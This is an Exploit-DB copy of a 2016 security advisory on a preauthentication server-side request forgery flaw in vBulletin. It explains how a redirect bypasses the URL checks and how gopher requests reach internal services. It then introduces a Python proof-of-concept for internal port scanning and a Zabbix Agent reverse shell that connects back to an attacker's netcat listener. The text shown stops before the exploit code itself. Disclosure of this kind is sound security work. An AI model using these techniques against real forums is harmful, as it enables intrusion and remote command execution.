Exploit-DB #40225
Description: vBulletin 5.2.2 - Server-Side Request Forgery
Type: webapps
Platform: php
Date: 2016-08-10
Author: Dawid Golunski

Exploit:
'''
=============================================
- Discovered by: Dawid Golunski
- http://legalhackers.com
- dawid (at) legalhackers.com

- CVE-2016-6483 
- Release date: 05.08.2016
- Severity: High
=============================================


I. VULNERABILITY
-------------------------

vBulletin  <= 5.2.2      Preauth Server Side Request Forgery (SSRF) 
vBulletin  <= 4.2.3
vBulletin  <= 3.8.9


II. BACKGROUND
-------------------------

vBulletin (vB) is a proprietary Internet forum software package developed by 
vBulletin Solutions, Inc., a division of Internet Brands. 

https://www.vbulletin.com/
https://en.wikipedia.org/wiki/VBulletin


A google search for "Powered by vBulletin" returns over 19 million sites
that are hosting a vBulletin forum:

https://www.google.co.uk/?gws_rd=ssl#q=%22Powered+by+vBulletin%22


III. INTRODUCTION
-------------------------

vBulletin forum software is affected by a SSRF vulnerability that allows 
unauthenticated remote attackers to access internal services (such as mail 
servers, memcached, couchDB, zabbix etc.) running on the server hosting 
vBulletin as well as services on other servers on the local network that are 
accessible from the target.

This advisory provides a PoC exploit that demonstrates how an unauthenticated
attacker could perform a port scan of the internal services as well as execute
arbitrary system commands on a target vBulletin host with a locally installed 
Zabbix Agent monitoring service.

IV. DESCRIPTION
-------------------------

vBulletin allows forum users to share media fiels by uploading them to the 
remote server. Some pages allow users to specify a URL to a media file
that a user wants to share which will then be retrieved by vBulletin. 
The user-provided links are validated to make sure that users can only access
resources from HTTP/HTTPS protocols and that connections are not allowed in to 
the localhost.

These restrictions can be found in core/vb/vurl/curl.php source file:

/**
 *      Determine if the url is safe to load
 *
 *      @param $urlinfo -- The parsed url info from vB_String::parseUrl -- scheme, port, host
 *      @return boolean
 */
private function validateUrl($urlinfo)
{
	// VBV-11823, only allow http/https schemes
	if (!isset($urlinfo['scheme']) OR !in_array(strtolower($urlinfo['scheme']), array('http', 'https')))
	{
		return false;
	}

	// VBV-11823, do not allow localhost and 127.0.0.0/8 range by default
	if (!isset($urlinfo['host']) OR preg_match('#localhost|127\.(\d)+\.(\d)+\.(\d)+#i', $urlinfo['host']))
	{
		return false;
	}

	if (empty($urlinfo['port']))
	{
		if ($urlinfo['scheme'] == 'https')
		{
			$urlinfo['port'] = 443;
		}
		else
		{
			$urlinfo['port'] = 80;
		}
	}
       // VBV-11823, restrict detination ports to 80 and 443 by default
	// allow the admin to override the allowed ports in config.php (in case they have a proxy server they need to go to).
	$config = vB::getConfig();
[...]


HTTP redirects are also prohibited however there is one place in the vBulletin
codebase that accepts redirects from the target server specified in a 
user-provided link.
The code is used to upload media files within a logged-in user's profile and 
can normally be accessed under a path similar to:

http://forum/vBulletin522/member/1-mike/media

By specifying a link to a malicious server that returns a 301 HTTP redirect to 
the URL of http://localhost:3306 for example, an attacker could easily 
bypass the restrictions presented above and make a connection to mysql/3306 
service listening on the localhost.

This introduces a Server Side Request Forgery (SSRF) vulnerability.

As curl is used to fetch remote resources, in addition to HTTP, attackers could 
specify a handful of other protocols to interact with local services. 
For instance, by sending a redirect to  gopher://localhost:11211/datahere
attackers could send arbitrary traffic to memcached service on 11211 port.

Additionally, depending on the temporary directory location configured within
the forum, attackers could potentially view the service responses as the 
download function stores responses within temporary files which could be 
viewed if the temporary directory is exposed on the web server.


V. PROOF OF CONCEPT EXPLOIT
-------------------------

The exploit code below performs a port scan as well as demonstrates remote 
command execution via a popular Zabbix Agent monitoring service which might be
listening on local port of 10050.
The exploit will execute a reverse bash shell on the target if it has the agent 
installed and permits remote commands.

The exploit was verified on the following zabbix agent configuration 
(/etc/zabbix/zabbix_agentd.conf):

Server=127.0.0.1,::1
EnableRemoteCommands=1


------------[ vBulletin_SSRF_exploit.py ]-----------
'''

#!/usr/bin/python

intro = """
vBulletin <= 5.2.2 SSRF PoC Exploit (portscan / zabbix agent RCE)

This PoC exploits an SSRF vulnerability in vBulletin to scan internal services
installed on the web server that is hosting the vBulletin forum.

After the scan, the exploit also checks for a Zabbix Agent (10050) port and
gives an option to execute a reverse shell (Remote Commands) that will connect
back to the attacker's host on port 8080 by default. 

Coded by:

 Dawid Golunski
 http://legalhackers.com
"""
usage = """
Usage:
The exploit requires that you have an external IP and can start a listener on port 80/443
on the attacking machine.

./vBulletin_SSRF_exploit.py our_external_IP vBulletin_base_url [minimum_port] [maximum_port]

Example invocation that starts listener on 192.168.1.40 (port 80) and scans local ports 1-85
on the remote vBulletin target host:

./vBulletin_SSRF_exploit.py 192.168.1.40 http://vbulletin-target/forum 1 85

Before exploiting Zabbix Agent, start your netcat listener on 8080 port in a separate shell